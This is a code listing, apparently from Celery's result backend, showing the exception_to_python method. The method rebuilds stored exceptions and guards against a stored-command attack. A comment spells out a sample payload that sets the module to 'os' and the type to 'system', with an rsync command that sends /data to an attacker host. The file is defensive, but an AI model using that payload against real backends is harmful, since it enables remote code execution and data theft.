Convert serialized exception to Python exception.
(self, exc)
| 432 | 'exc_module': exctype.__module__} |
| 433 | |
| 434 | def exception_to_python(self, exc): |
| 435 | """Convert serialized exception to Python exception.""" |
| 436 | if not exc: |
| 437 | return None |
| 438 | elif isinstance(exc, BaseException): |
| 439 | if self.serializer in EXCEPTION_ABLE_CODECS: |
| 440 | exc = get_pickled_exception(exc) |
| 441 | return exc |
| 442 | elif not isinstance(exc, dict): |
| 443 | try: |
| 444 | exc = dict(exc) |
| 445 | except TypeError as e: |
| 446 | raise TypeError(f"If the stored exception isn't an " |
| 447 | f"instance of " |
| 448 | f"BaseException, it must be a dictionary.\n" |
| 449 | f"Instead got: {exc}") from e |
| 450 | |
| 451 | exc_module = exc.get('exc_module') |
| 452 | try: |
| 453 | exc_type = exc['exc_type'] |
| 454 | except KeyError as e: |
| 455 | raise ValueError("Exception information must include " |
| 456 | "the exception type") from e |
| 457 | if exc_module is None: |
| 458 | cls = create_exception_cls( |
| 459 | exc_type, __name__) |
| 460 | else: |
| 461 | try: |
| 462 | # Load module and find exception class in that |
| 463 | cls = sys.modules[exc_module] |
| 464 | # The type can contain qualified name with parent classes |
| 465 | for name in exc_type.split('.'): |
| 466 | cls = getattr(cls, name) |
| 467 | except (KeyError, AttributeError): |
| 468 | cls = create_exception_cls(exc_type, |
| 469 | celery.exceptions.__name__) |
| 470 | exc_msg = exc.get('exc_message', '') |
| 471 | |
| 472 | # If the recreated exception type isn't indeed an exception, |
| 473 | # this is a security issue. Without the condition below, an attacker |
| 474 | # could exploit a stored command vulnerability to execute arbitrary |
| 475 | # python code such as: |
| 476 | # os.system("rsync /data attacker@192.168.56.100:~/data") |
| 477 | # The attacker sets the task's result to a failure in the result |
| 478 | # backend with the os as the module, the system function as the |
| 479 | # exception type and the payload |
| 480 | # rsync /data attacker@192.168.56.100:~/data |
| 481 | # as the exception arguments like so: |
| 482 | # { |
| 483 | # "exc_module": "os", |
| 484 | # "exc_type": "system", |
| 485 | # "exc_message": "rsync /data attacker@192.168.56.100:~/data" |
| 486 | # } |
| 487 | if not isinstance(cls, type) or not issubclass(cls, BaseException): |
| 488 | fake_exc_type = exc_type if exc_module is None else f'{exc_module}.{exc_type}' |
| 489 | raise SecurityError( |
| 490 | f"Expected an exception class, got {fake_exc_type} with payload {exc_msg}") |
| 491 |